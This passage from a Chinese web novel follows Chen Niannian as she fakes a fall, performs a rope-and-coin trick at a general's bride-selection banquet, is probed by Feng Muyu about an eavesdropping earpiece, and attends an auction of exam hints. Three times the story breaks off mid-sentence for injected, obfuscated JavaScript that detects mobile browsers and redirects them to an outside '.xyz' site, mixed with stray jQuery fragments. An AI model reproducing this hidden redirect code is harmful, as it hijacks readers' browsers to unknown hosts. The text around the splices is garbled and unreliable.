瞧那自信、高傲、倔强的眼神,把不服输的人设立得稳稳的,再配上天姿国色的容貌,窈窕婀娜的身段,好一个遗世独立的佳人!这般优秀又不可亵渎,最是能够激起云端上天之骄子的胜负欲,继而从针锋相对、相爱相杀中发展出一段荡气回肠的爱恨纠葛!
话本里可不就是这么写的!
不过,她怎么越听燕梦瑶的声音,越觉得耳熟?
一定在哪里听到过——
对了,树林里那个黑纱蒙面的女子!
黎景明最爱凑热闹,怂恿道:“慕哥,快答应她!”
风慕予的目光漫不经心地越过人群,落在燕梦瑶的身上,又越过燕梦瑶,不知看见了什么,终于有了一点反应,抬起腿,走向花园中央。
“将军这是接受她的挑战了吗?”
“看来,这届选妻宴,将军终于有了心仪之人……”
“如果未来将军夫人是燕国三公主,我甘拜下风!”
……
陈念念已然没有了吃瓜的心思,面色凝重了许多。
如果燕梦瑶真是那黑纱蒙面的女子,能够在将军府暗中设计圈套,背后必定有庞大的势力支持,目的也绝对不是成为将军夫人那么简单,她不能明知道燕梦瑶有问题,还让风慕予往里栽跟头。
她必须阻止他们接触。
“哎呦……”
一时想不出什么好办法,情急之下,她身子一歪,摔在了地上。
动作之假,声音之做作,只觉自己的演艺生涯走到了尽头。
8. 戏法
“丑人多作怪!”
“燕三公主刚刚还替她说话,她竟恩将仇报,故意破坏……”
“将军英明神武,断不会上她的当!”
……
女子看女子的眼光,总是毒辣的。
在场99%的人都看透了陈念念明目张胆的假摔。
陈念念倒在地上,努力表演着虚弱的模样,对嘲讽充耳不闻。
燕梦瑶静静地望着风慕予,等待着他的回应。
她自认刚刚的一言一语、一颦一笑都是完美的,哪怕还不足以打动风慕予,但至少该在他的心里留下深刻印象,绝不可能输给一个假摔的丑八怪。
她的面上保持着自信的笑容,看着风慕予一步一步向着她走近,握剑的手正准备放下,却发现他根本没有在自己面前停留的意思,而是径直走过,连一个多余的眼神都没有给她。
黎修齐:“?”
黎景明:“?”
在场众人:“?”
陈念念不免也大吃了一惊。
她预感到,风慕予的目标应该是她。
虽然假摔就是为了吸引他的注意,但她的演技如此拙劣,他却没有看穿,她有理由怀疑她当年留下的《鉴表指南》他怕是根本没看吧?
偷偷观察着,她不动声色地抬起手,等待风慕予将她扶起。
沐浴着所有人震惊的目光,风慕予浑不在意地在陈念念的身前停下脚步,但他并没有伸手扶她,只是低下头,问:“这是你的才艺?”
神特么才艺!
陈念念立时回答:“当然不是!”
是她想多了,连抱大腿都见死不救,摔倒了怎么能指望他来扶?
钢铁直男,活该单身二十三年!
风慕予追问:“那你的才艺呢?”
陈念念躺在地上,望向风慕予的视角是倾斜的,明媚的日光越过他的肩头,落在她的眼中,他面无表情地说出一本正经的话,在她看来,却颇有几分滑稽,仿佛回到了他年少时的模样,稚气而坚持。
说起来,从前的他,确是执迷于看一些稀奇古怪的表演。
照她的性格,本该毫不客气地怼一句“你这脑回路以为看文艺演出吗”,但想到他-99的幸福感,为了顺利完成任务,她觉得无论他想要什么,都应该尽力去满足,便改口道,“将军想看什么样的才艺?”
感觉到数不清的灼热目光还聚集在她抬起的手上,此时收回很是尴尬,她干脆摆了摆手,直接道,“脚疼,将军可否拉小女子一把?”
风慕予冷冷道:“适可而止。”
行吧,陈念念明白了,风慕予并不是看不穿,只是懒得拆穿而已。
识趣地没再多话,她自顾自站起身,拍了拍身上的尘土。
不就是才艺嘛,容她想想。
哦,有了!
“那我给你变个戏法怎么样?”她试探着对风慕予说,见他没反对,才继续道,“麻烦帮我准备一张桌子,一个铜板,一根绳子,一块……”转头对一旁的丫鬟比划,“这么大的帕子,要厚实一些。”
风慕予道:“去准备。”
道具很快上齐。
陈念念站到桌子后,有模有样地摆弄起道具。
先将铜板放在桌子正中,随后将绳子拉直,横放在铜板的旁边。
初步准备完毕,她抬起头,看了看风慕予,说,“麻烦将军站在这里,拉住绳子的一端,还有哪位有兴趣,来拉住绳子的另一端。”
风慕予没有回话,但身体很诚实地走到了桌旁。
黎景明好奇心最重,三两步上前,抢到了另一个抓绳子的名额。
“你们都看好了,现在铜板和绳子没有任何接触!”陈念念拿起帕子,盖住铜板和绳子,只留下被抓住的两端露在帕子外,故弄玄虚地说,“一定要抓紧了哦,否则,等我施了法,铜板就会穿过绳子!”
自然有人不信。
“骗谁呢?两头都抓住了,铜板怎么可能穿到绳子里?”
“太子殿下,世子大人和将军大人都在场,糊弄人是要获罪的!”
“众目睽睽,看你能做什么手脚!”
……
陈念念笑了笑,双手伸进帕子里,说:“等等就知道了。”
所有人的注意力顿时全都落在了帕子上,眼珠一眨不眨地看着陈念念的手在帕子下一阵捣鼓,可帕子太厚,实在看不清她究竟做了什么。
没一会儿,陈念念停下动作,“好了,谁来揭开帕子?”
黎修齐微微笑着,上前一把将帕子拿到了一边。
“你们可以放手了。”
伴随着陈念念的声音,风慕予和黎景明同时放手。
桌面上,绳子和铜板安安静静躺在一起。
陈念念得意一笑,双手各抓着绳子一端,将绳子提起,铜板俨然已经挂在了绳子之上,“都看清楚了吗?”
随即,她将绳子收回,对折之后,递到风慕予的手里,说:“将军大人若有疑虑,可亲自检查一下绳子,可有什么异样。”
黎景明一把抢过风慕予手中的绳子,看了看绳子上的铜板,又看了看自己的手,自我怀疑道:“怎么可能?我明明一直抓着的!”
“竟然真的穿过去了,真是不可思议!”
“虽然不知道怎么回事,但感觉好厉害!”
“你看明白怎么回事了吗?”
……
底下议论纷纷,明明紧盯着全程,却因为帕子的遮掩而一头雾水,甚至有人捡起地上的帕子,反复检查是否有什么机关藏在其中。
陈念念随意地扫视了一圈,笑而不语。
一个简单到有些拙劣的魔术,仗着古时尚未流行,唬唬人还挺好用的。
“啪啪啪……”黎修齐没有看向陈念念,毕竟,她的脸,任谁看过一眼,都不愿意再多看,但还是带头称赞了她,“精彩!精彩!”
“啪啪啪啪啪……”
所有人后知后觉地给予了陈念念热烈的掌声。
燕梦瑶一直站在原处,没有入座。
她眼睁睁地看着陈念念从全场鄙夷嘲讽,到全场震惊怀疑,到最后,全场赞叹鼓掌,而自己,从全场瞩目,到屡受冷落,至无人问津。
明明她才该是整个花园会的焦点,现在却只能独自站在一旁。
握着剑的手,紧了又紧,指甲几乎掐进肉里,心中不甘不愿,面上却还要装出欢喜与欣赏,她跟着拍手称赞,“我曾有幸在集市之中见过几次戏法,着实让人称奇,可惜宫中宴会从未有过这样的新奇点子。”
陈念念望向燕梦瑶,面上是礼貌而不带一点感情的微笑。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446669|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
燕梦瑶的话,看似在称赞她,实则却是在暗示她表演的不过市井把戏,皇室贵胄、高门世家根本不屑于看这种东西。
柳倾眉坐在前排,距离陈念念很近,清楚听见了燕梦瑶的话,也听懂了弦外之音,站起身,品评道:“雅俗不分贵贱,赏心悦目,使人感到开心愉悦的,便是值得称赞的表演。”
陈念念没多话,只觉三言两语间,暗流汹涌呀。
黎景明忍不住问:“真的只是戏法吗?不是法术?”
“只是戏法,不是法术。”陈念念摇了摇头,直言道,“若世子大人知道了其中的窍门,也能够轻松做到,不过……”
她自然不会轻易揭秘,转头望回风慕予,面上多了些许真实的笑意,问道,“我的才艺表演完了,将军大人,可还满意?”
风慕予也正低头望向陈念念。
这张花里胡哨的脸,看得多了,他似乎有些习惯了。
眉眼因笑意微微弯起,睫毛浓密而纤长,为了遮盖脸颊上的胎记,脂粉涂得雪白,腮红却几乎红过天边的朝霞,为了隐藏唇边的大痣,口脂特地涂宽了一圈,一片殷红随着嘴角笑意渐渐舒展……
别说,还是怪丑的。
他不由告诫:“别笑了。”
陈念念立时收住笑意,不解道:“对戏法,不满意吗?”
眼角的余光瞥见不远处时刻等待着机会的燕梦瑶,她急忙补上一句,“不满意没关系,我还有别的才艺,让我再给你展示展示……”
说着,转身就要吩咐丫鬟去准备道具。
风慕予拦下陈念念,“不用。”
女管事见机上前,将名册递给风慕予。
按照惯例,花园会结束后,风慕予需从所有参加者中评出前三名,而第一名获得者,将拥有一次单独与风慕予相处的机会。
底下早已对第一名有过多番猜测。
一部分人认为是诗情满怀的柳倾眉,一部分人认为是姿容绝色的陈娉婷,支持者最多的则是燕梦瑶,有才有貌,红衣惊鸿,令人艳羡。
然而,风慕予想都没想,便提笔写下:
第三名,陈娉婷。
第二名,燕梦瑶。
第一名,陈念念。
“……”
结果一宣布,全场再次震惊,一时谁也说不出话来。
燕梦瑶无奈回到座位,听得排名,更是控制不住地脸色铁青,双手握得紧了又紧,修长的指甲终是在掌心掐出了血。
皇兄派她来参加选妻宴,看中的就是她的才貌和智谋,旨在一举将风慕予拿下,昨夜她已在暗中试探过风慕予的防备,没有贸然出手,今日的头名,她本势在必得,谁知,竟落败于一个毫无才名的丑女!
而且这丑女,似还在针对她!
她握剑的手动了动,真想飞身上前给一剑,但忍住了。
她必须找个机会,将麻烦解决掉!
风慕予对全场的气氛毫不关心,只低头道:“跟我走。”
陈念念点了点头,急忙跟上风慕予。
直到离开了花园,再也看不见其他人,她仍感觉到数不清的灼热目光,化作利刃刺在她的背上,争相想要取下她的性命。
“我们去哪儿?”
她很快发现,风慕予走的,并不是去往乘风院的路。
9. 试探
“等等我,我跟你们一起走!”
黎景明一直认真研究着绳子和铜板,以至于陈念念和风慕予走出了花园才反应过来,急忙小跑着追上。对于陈念念的戏法,他真是百思不得其解,尤为好奇,“你把窍门告诉我吧!只要你告诉我,我就认你做妹妹,以后不管发生什么事,我和安王府都会为你撑腰……”
陈念念没有停下脚步,见黎景明紧紧跟着她,一路喋喋不休,只觉好笑,心说,妹妹有什么好当的,不告诉你,我也是你大姑姑。
记得上一次见他时,他才八岁,因为弄丢了她送的变形金刚而蹲在湖边伤心不已,她弯腰摸了摸他的头,小小一只,甚是可爱,如今,贪玩的熊孩子已经长得高出了她一个头,还妄想做她的哥哥。
她不禁生出了逗一逗他的心思:“你真的那么想知道?那,你让将军大人求我呀,只要他求我,我立刻就告诉你们。”
她又转头对风慕予道,“你一定也很想知道吧?选我做头名,是不是为了让我把窍门告诉你?你求我呀,我什么都说……”
“其实,我也没那么想知道……”
黎景明瞬间改口,面露尴尬。
虽然风慕予平日里总是风淡云轻的模样,不怎么高兴,也从不生气,偶尔还可以开一些无关痛痒的玩笑,但若是触到了逆鳞,发起怒来,简直不要太可怕!他几年前曾撞见过一次,至今仍有阴影!
这位陈小姐竟然敢说“你求我呀”,胆子未免也太肥了吧?
他可不敢!
陈念念不怕死地继续试探着:“你看出来了吗?看不出来的话,就求我呀,我还有很多比这更厉害的戏法……”
黎景明心中好奇又忐忑,脚步逐渐放慢,生怕惹恼了风慕予。
沿着花园外的小径,穿过长长的回廊,迈过拱门,便到了将军府西面的小院,院中没有一个丫鬟小厮,四面都栽着翠竹,种着几丛红玫瑰,红绿之间,藏着一间屋顶上爬满了紫藤萝的小屋,四面的窗户都是竹子编成的,门也是竹制的,安静,清新,透着几许惬意。
是特地为选妻宴的头名准备的。
风慕予在门前止步,轻轻推开竹门,转过头看向陈念念,面上没有生气,也没有不耐的情绪,只是有些无趣地说:“绳子剪断了。”
五个字,瞬间破梗。
陈念念嘴上的话顿时一噎。
她早该想到的,他怎么可能看不穿这么简单的把戏。
黎景明却不解:“怎么可能剪断?我检查了绳子没有断!”
风慕予转回头没再说话,径直进了小屋。
陈念念嘚瑟不下去了,老实地跟着走了进去。
黎景明还是不明所以,下意识想跟上,刚抬起腿,忽觉背后一股强大的力道将他紧紧拉住,随即,一阵风将竹门关上,将他隔绝在门外。
“知道什么叫独处吗?你跟进去凑什么热闹?”
黎修齐不知何时到了黎景明身后,一手扯着黎景明的后衣领。
“独处?难道真要独处培养感情?”黎景明满脸不敢置信,“我英俊潇洒风流倜傥的慕哥,真的看上了……会变戏法的陈小姐?”
黎修齐扯着黎景明到了小屋东侧,压低声音,解释道:“虽然日日都有数不清的女子企图潜入乘风院,但真正能够靠近慕兄房间的人屈指可数。慕兄房间外的地面上撒有特殊药粉,只要沾上,便无法洗去。将军府护卫队长昨夜查证,鞋底沾有药粉的共有三人,正是慕兄写下的前三甲,想来他选择陈念念,应是想先探一探她的虚实。”
一本正经地说着,他整了整长袍,蹲下、身,躲到了窗台下。
黎景明也跟着黎修齐蹲下、身,贴着窗台,稍稍探出头,俨然一副准备偷听偷看的模样,小声说道:“我们这样,不太好吧?”
小屋四面的窗户都敞开着,日光洒在各处,清风拂动纱帘。
屋内弥漫着清新的花香,屋子虽小,陈设却颇多,多宝格上满是古玩器物,墙上挂着许多字画,东面的书桌上摆着笔墨纸砚,西面放着一张罗汉床,矮几上一方棋盘,罗汉床旁的屏风后还准备着一架古琴……
陈念念遗憾地摇了摇头。
如此齐全的准备,剧本里必是预想了一位精通琴棋书画的高门贵女,在如画的小屋里,和风慕予弈棋弄墨、诗情画意,实在浪漫极了。
可惜,来的是她。
她对琴棋书画兴趣缺缺,注意力不自觉地落在屋子正中的小圆桌上。桌上放着一套茶具,还有各色糕点,应是为品鉴茶艺准备的。
但她看了一眼,只觉饿了。
她下意识抿了抿嘴唇,又看了看风慕予,指望他先开口,怕是要饿死,只能主动提起:“将军府上的糕点,可真是精巧别致。”
暗示如此明显,风慕予自然看穿了,直接道:“坐下,吃吧。”
“多谢将军!”陈念念当即坐下,不客气地拿起两块她早已看中的糕点,各咬了一口,酥软的口感正合她意,冲着风慕予满意地笑了笑,忽想起他先前让她别笑,又急忙收住脸上的笑意,转移话题,“将军既早已看穿了我的戏法,为何还会选我做头名?”
风慕予站在小圆桌旁,脚边便是小圆凳,却没坐下,反而后退了两步,越发远离陈念念,边退似还边观察着什么,眼底闪过一丝疑虑。
陈念念见风慕予对这个话题不感兴趣,立时又换了一个话题:“将军近日可有遇到什么不开心,或是疑惑之事,小女子虽不才,但身处边城多年,听闻许多奇闻异事,或许能够为将军排忧解难。”
风慕予退到了墙边,停了片刻,又原路向前,越过小圆凳,向着陈念念的方向走来,越来越近,眼底又闪过了一丝疑虑。
陈念念皱了皱眉,不明白风慕予在做什么,但直觉告诉她,他一定正谋划着什么事。她又从盘中拿了两块糕点,准备起身,直截了当地说:“将军大人若一直如此,这天可是聊不下去了,不如……”
话说到一半,一抬头,发现风慕予已停在她的身前,正弯下腰,清隽的脸靠得她越来越近,神色浅淡,眼底透着一丝不易察觉的探究。
“你,你靠这么近干什么?阿——嚏!”
一惊之下,她顾不上手中的糕点,双手猛得将他推开,整个人从小圆凳上跳起,见屋门关着,便跑到了东侧的窗边。
风慕予紧跟而上,在陈念念逃走前,轻松将她困住。
他整个人挡在她的身前,一手撑在她身侧的墙上,一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446670|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手强硬地抓住她的下巴,手指一使力,将她的脸偏到左侧,一番寻找,没找到什么,又将她的脸偏到右侧,还是什么都没发现。
他的眼底疑虑更重,将她的脸摆正,轻轻抬起,细细端详。似是想起了什么,他的眼中生出一点异色,低下头更靠近她的脸。
陈念念被迫抬头直视着风慕予,心跳不可避免地开始加速。
昨晚的情形在她的脑中清晰重现,他满面潮红、身体失控的模样,他唇上的伤口,时时在提醒着她,她们曾唇齿相交。
特么的,壁咚她?
臭小子不会又想吃她豆腐吧?
昨晚,他中了合欢散,暂且可以原谅他,现在,又是几个意思?
风慕予凑在陈念念的唇边,轻声问:“你在想什么?”
“……!!!”
陈念念一面气恼不已,一面又有些受不住风慕予的低音炮。
他一定是故意的!
她的半个身子紧紧贴着墙,半个身子抵在左侧的窗台上。窗门向外敞开着,她小心翼翼地向左挪动,企图逃开风慕予的掌控,却发现他紧跟不舍,身子拼命向后靠,上半身稍稍探出了窗台,再多一些,恐怕要摔出去。
曾经那个可爱粘人,单纯开朗,根正苗红的崽,怕不是真的长歪成了现在这个表面高冷矜贵、不近女色,实则引诱良家少女的斯文败类?
她珍藏已久的40米长刀,终是按捺不住了吗?
正准备叫出系统,忽听见一段悄悄话。
“太子哥哥,慕哥真的是在试探陈小姐吗?怎么感觉他,他这番动作,像是真的看上了陈小姐,正在对陈小姐耍流氓?”
“是孤看走了眼,没料到慕兄的口味,竟如此重……”
陈念念立时听出,是黎修齐和黎景明的声音。
有两个听墙角的,以风慕予的警觉,不可能没有发现,更不可能明知有暴露的风险,还做如此失态的事。
所以,他是在试探她?
慌乱的情绪瞬间退去,只剩下遭戏耍后的气恼,略一思索,她直起身,眨了眨眼,娇羞地说:“将军,可是对小女子的口脂感兴趣?”
见他下意识抬起了头,她反靠近他,继续说,“小女子生来遭人厌弃,宠爱单薄,若能得将军垂怜,三生有幸,无论将军想要什么……”
说着,她一手搭上他的肩,闭上眼,一副予取予求的模样。
风慕予看着陈念念的脸,看着她嘟起的烈焰红唇。
辣眼睛,真的。
哪怕他已经看习惯了她的脸,还是败了。
再演不下去,他收回禁锢住她的手,放她离开。
果然下不了口吧。
陈念念心中得意,睁开眼,面上却显出几分失落,挽了一下凌乱的鬓发,主动靠近他,追问道:“将军,这又是何意?”
风慕予向后退了两步,又变回了平日里冷漠疏离的模样,自左耳中摘下黑色小圆球,递到陈念念的面前,稍稍低头看她,眸光锐利,肯定地道:“还请陈小姐解释一下,此为何物?”
陈念念看着风慕予手中的窃听耳机,顿时恍然大悟。
敢情他和她独处,走远又靠近,是为了测试蓝牙的连接状态?
10. 拍卖
陈念念知道自己大意了。
她先前使用过的偷听器,分为窃听接收器和窃听耳机两个部件,有效可使用次数为3次,昨晚在风慕予房中时,为了转移陈娉婷的注意力,她随手将耳机扔了出去,后来离开得匆忙,忘记了捡回,没想到,风慕予不但捡到了,还发现了耳机的用法。
无论是耳机的作用和来历,还是耳机为什么会出现在风慕予的房中,解释起来都颇为麻烦,都会暴露她的身份。
她刻意将耳机上上下下打量了一番,皱了皱眉,疑惑道:“小女子虽在边城见过许多奇物,但此物确从未见过,看外形,颇为古怪。”
“从未见过?”风慕予重复着陈念念的话,语中将信将疑,轻轻按了一下耳机,耳机的小孔中,立时有白色的光芒规律地闪烁跳动。
藏在袖中的窃听接收器跟着规律地震动起来,陈念念意识到,耳机在风慕予手中时间越长,他发现的东西就越多,对她越是不利。
可她暂时没有办法将耳机抢回来,只能偷偷将手缩进袖子里,关闭了接收器上的蓝牙,斩钉截铁地说:“小女子绝无欺瞒。”
好在没有实质证据,只要她死不承认,他应该不能拿她怎么样。
风慕予见耳机上的光芒忽地灭了,眼底的疑惑更重,望向陈念念,却见她的面上没有一点心虚和慌乱,将耳机收起,不再追问。
抬头看了看窗外,他冷冷道:“你走吧。”
应是暂时瞒过了。
陈念念在心里暗暗舒了口气,面上却显出些许不满,不依不饶道:“折腾了一上午,辛苦拿了头名,竟然连个午膳都不包吗?”
风慕予可真是无情,发现在她的身上问不出有用的线索,就立刻赶她走,她在来的路上就盘算好了中午想吃什么,可不想轻易放过他。
虽然榴花院也包三餐,可食堂怎么能和国宴大厨比。
风慕予没有回话,直接转身向着屋外走去。
陈念念急忙追上,出了门,停在石阶上,院中清风阵阵,鸟语花香,青石板路通向小院正门,路上却早已没有了风慕予的踪影。
好吧,你尽管无情。
“阿嚏——阿嚏——”
刚刚极力忍耐,现在小风一吹,头昏得厉害,连打了好几个喷嚏。擦了擦鼻涕,她折回屋内端了两盘糕点,老实地出了小院。
风慕予并没有离开,而是翻身上了屋顶。
半蹲着身,黑色长袍落在繁茂的紫藤罗花丛中,迎风簌簌,他静静望着陈念念离去的方向,不知在思考着什么。
黎景明利落地跳上屋顶,凑到风慕予身边,好奇地问:“慕哥,你真看上陈小姐了?虽说我大黎国民风开放,不拘小节,孤男寡女共处一室并非逾礼之事,但耍流氓的行为还是应当收敛……”
感受到风慕予冷冷的余光,他只觉后脖颈一凉,熟练地改口,“喜欢,就应该大胆地追求,你放心,不管你做什么样的选择,兄弟我都会支持你的!虽然你的眼光我不敢苟同,但……”
折扇一开一合,黎修齐紧跟着落在屋顶上,捂住他在危险边缘反复试探的嘴,望向风慕予,正经道:“慕兄,陈小姐可有问题?”
风慕予收回望向远处的目光,站起身,回答:“是她没错。”
虽还没有完全弄清耳机的用途,但反复测试发现,唯有靠近陈念念时,耳机才会有反应,可以断定,她身上必藏着能与耳机互通的东西。
黎修齐摇了摇扇子,放开黎景明,笑道:“果然,孤就知道慕兄一定发现了端倪,否则不会无缘无故调……咳,试探人家小姑娘的。”
“……”
你刚刚在下面可不是这么说的!
黎景明看了眼黎修齐,接收到黎修齐的眼神暗示,一秒变怂,附和道:“对对对,我们都知道,慕哥一直专注于正事,从不假公进私。”
黎修齐又问:“准备怎么处置她?”
风慕予想了想:“先不动她。”
“那燕梦瑶和陈娉婷,慕兄是否也需要亲自接触一番?”黎修齐询问道,“未免引起怀疑,伪装成意外巧遇如何?我尽快找人安排。”
“不用。”风慕予冷冷拒绝,“交由护卫队调查便是。”
“听你的。“黎修齐点了点头,眼中却多了一抹耐人寻味的笑意。
飞花踏叶,三人先后离开屋顶,直接跳到小院外,准备回前厅。
风慕予不紧不慢地跟在黎修齐和黎景明身后,望着不远处蜿蜒的小路,通往前厅,也通往榴花院,不由想起陈念念离开时气愤的样子。
试探?正事?
只有他自己知道,有那么一瞬间,他根本忘记了与她独处的目的,只是单纯地想要靠近她,多靠近一点,再多一点。
他这是怎么了?
昨晚躲在房间里的人,就是陈念念吧。
哪怕她们的样貌截然不同,她们的年龄相差甚远,她们的身份更是毫不相关,可他总是会不自觉地认为,她们很像。
越是接近,他越能在陈念念的身上,捕捉到她的味道。
他的手又下意识抚上唇角的伤口,想弄清楚他们之间发生过什么。
她接近他的目的是什么?也是奉命来杀他的吗?
-
陈念念又在将军府里逛了逛,随后回到榴花院,吃了些糕点,爬上床睡了会儿觉,醒来时,已是傍晚,昏沉的身子舒坦了许多。
推开房门,向外看了看,她发现除了一直等着她的甜橙,整个榴花院空无一人,正奇怪其他人去哪儿了,忽看见陈娉婷自院外走进。
陈娉婷沉着脸,心情似乎不太好,一看见陈念念,嘲讽之心顿时难以抑制:“呦,这位是谁呀?竟一整个下午都没来上课,莫不是以为得了一次头名,就得了将军大人的青睐,可以有恃无恐?别想太多,就你这么个丑八……平庸之人,怎么可能真入了将军大人的眼?”
想到陈念念曾救过她,原本尖酸刻薄的话,难得地留了些余地。
陈念念本不想理睬,但听得陈娉婷所说,意识到自己似乎错过了什么重要的事,几步走到陈娉婷的面前,问:“什么课?”
“自然是学习将军府上规矩的课,你竟不知?若是违反了府上规矩,轻则当众点名,重则直接丢出府去,你至今无事,算你走运!”
陈娉婷既惊讶又嫉妒,想起刚刚在课上,因第一日插队进府,被女夫子当众点名批评,堂堂京城第
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446671|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一美人颜面丢尽。
想了想,她打起了小算盘:“若你将今日将军大人说了什么、做了什么告诉我,我便将课上所学通通教于你。”
陈念念轻轻勾了勾唇角:“上课之事,非只你一人知晓,我问问他人也能得到差不多的答案,但将军所说之话和所做之事,只我一人知晓,如此交换对我可不划算,若你真想知道,便再多加些筹码吧。”
“我就知道你在家中那副可怜柔弱的样子都是骗人的!”
陈娉婷瞪向陈念念,愤愤地说着,心中却反倒不那么嫌弃了。她向来讨厌哭哭啼啼,倒是更喜欢陈念念这副精明算计的市侩模样。
想了想,她说,“我带你去个好地方,让你长长见识!”
没有用晚膳,陈娉婷直接带着陈念念出了将军府,一路向南。
疾行的马车上,陈娉婷告诉陈念念,选妻宴第二轮比拼前,她们都需接受为期七日的学习,除了学府上诸多奇特的规矩,还要学很多奇特的知识。学习完成后,所有人一同参加考试,得分最高者,便是头名。
但女夫子在课上教授的,只是笔试内容的一部分,剩下的部分需要自己体悟,像陈娉婷这样的脑子自是体悟不来的,只得走旁的途径。
京城中隐藏着一处地方,小道消息四通八达,可以获取到考试内容的线索,便是她们正要去的,位于南市的遗珠楼。
陈念念对此一无所知,感慨自己果然只是个凑数的。
不过,在她的记忆里,风慕予可从来不是个守规矩的性子,很好奇,他能给自己的府上定出什么奇特的规矩?
顺着一条巷子七拐八绕,她们终于抵达了遗珠楼外。
遗珠楼共三层,占地面积不大,看着普普通通,却门庭若市。
陈念念跟在陈娉婷身后,见陈娉婷给守门的小厮展示了一块牌子,小厮便毕恭毕敬地带着她们上了二楼的包厢,并主动端上了菜肴。
陈念念在栏杆旁坐下,拿起桌上的号码牌把玩,同时观察四周。
一二层打通,一层大堂,二层包厢,四面栏杆,八个包厢的栏杆处都挂着遮挡整个包厢的纱帘,从外望去,只能看见模糊的人影。
见如此构造,又见一个花颜月貌的女子拿着匣子走到大堂正中。
显然是个拍卖会。
陈娉婷见陈念念四处张望,笑得明朗:“我母亲家中世代皇商,需要了解各方各面的消息,是这遗珠楼的常客,我也是借了家族的光,才能坐在这里,若是你一人,恐怕这辈子都踏不进这里的门槛……”
她本已在陈念念的身侧坐下,复又站起身,指着一楼大堂,笑得更是得意,“你快看,那个是不是燕梦瑶?她不是燕国最尊贵的公主吗,怎么连个包厢都混不到,如此抛头露面,真是可怜……哼,一出场就是个惯会装的,我看着真难受,后来见她吃瘪,真是爽极了!”
陈念念顺着陈娉婷所指往下看,确实看见了燕梦瑶,但她对嘲笑燕梦瑶没什么兴趣,很快移开目光,余光却瞥见了一个更熟悉的身影。
二楼楼梯处,一个黑色的身影一闪而过。
风慕予为什么会出现在这个倒卖他消息的地方?
怕不是要砸场子?
11. 废纸
陈念念等待着风慕予重磅登场,却直等到拍卖会过半,都没有再寻见他的身影,若不是对自己的眼力有百分百的自信,都要怀疑看错了。
楼下正在拍卖着珍贵药材、稀世古卷,她看得有些无聊,便拿出袖中的话本打发时间,看了几页,便面色古怪地将话本合上,收回袖子里,低头吃桌上的菜。本没有抱什么期待,味道倒出乎意外的好。
陈娉婷始终专注地望着一楼大堂,忽激动道:“重头戏来了!”
大堂中央,花颜月貌的女拍卖师离场,面容粗犷的男拍卖师快步走入,替代了女拍卖师的位置,收获了一阵异常热烈的掌声。
男拍卖师示意全场安静,道:“现在进入第二轮拍卖,此件拍品为,赤影将军府规矩一条,提示,关于日常饮食,起拍价,1000两。”
“1000两?咳——”
陈念念正好吃了颗花生,听得男拍卖师的报价,不慎噎了一下。
她很清楚黎国的物价,虽然先前做黎国长公主时,家财万贯,根本不把1000两放在眼里,可放在民间,10两银子便可让三口之家宽松地过上一年,现在,一条消息,寥寥几字的介绍,尚不知道是什么内容,是否真的有用处,竟要1000两?还只是起步价?
抢劫都没这么赚钱!
“略显浮夸。”她对拍卖做出评价。
却见大堂和各个包厢分分钟已开始了激烈的竞价。
“1100!”
“1200!”
“1300!”
……
陈娉婷倚在栏杆上,高举号码牌,道:“1600!”
燕梦瑶虽被迫挤在大堂颇为混乱的人群中,但身上穿着崭新的红霞锦长裙,腰上缀着晶莹剔透的夜明珠,耳坠上的红宝石流光溢彩,身旁围着四个护卫三个丫鬟,一看便不是出自普通的富贵人家。
红衣本就惹眼,容貌更是夺目,鹤立鸡群,却无一人敢靠近。
她点了下头,示意身旁的丫鬟举牌竞价,眼中不屑:“2000!”
陈娉婷:“2100!”
燕梦瑶:“3000!”
……
最终,燕梦瑶以4000两的价格,拍得了这条消息。
“第二件拍品,赤影将军府选妻宴第二轮考试内容例题一则,提示,有关语言,起拍价1000两,可以开始竞价了。”
陈娉婷一番激情叫价。
最终,燕梦瑶以5000两的价格,拍得了第二条消息。
“哼,有钱了不起吗?得意什么得意!”
陈娉婷气愤地回身,将号码牌扔在桌上,不准备再继续竞价。
她虽然因母亲家中富裕而存了不少私房钱,但父亲毕竟只是个普通的户部侍郎,比财力,怎么可能比得过有一国为后盾的燕梦瑶。
陈念念看得有趣极了。
价值4000两的规矩,和价值5000两的例题,燕梦瑶拍得眼睛都不眨一下,为了选妻宴真是煞费苦心,风慕予真的有这么大的魅力?
还是说,昂贵的消息里藏着什么特殊的奥秘?
越想越好奇,她觉得不如买一条来看看,伸手摸了摸荷包,发现今日没有带荷包,继而想起,自陈府领的几百两银子早在当日就花完了。
她现在身无分文,别说参与竞价,连出门左拐的大饼都吃不起。
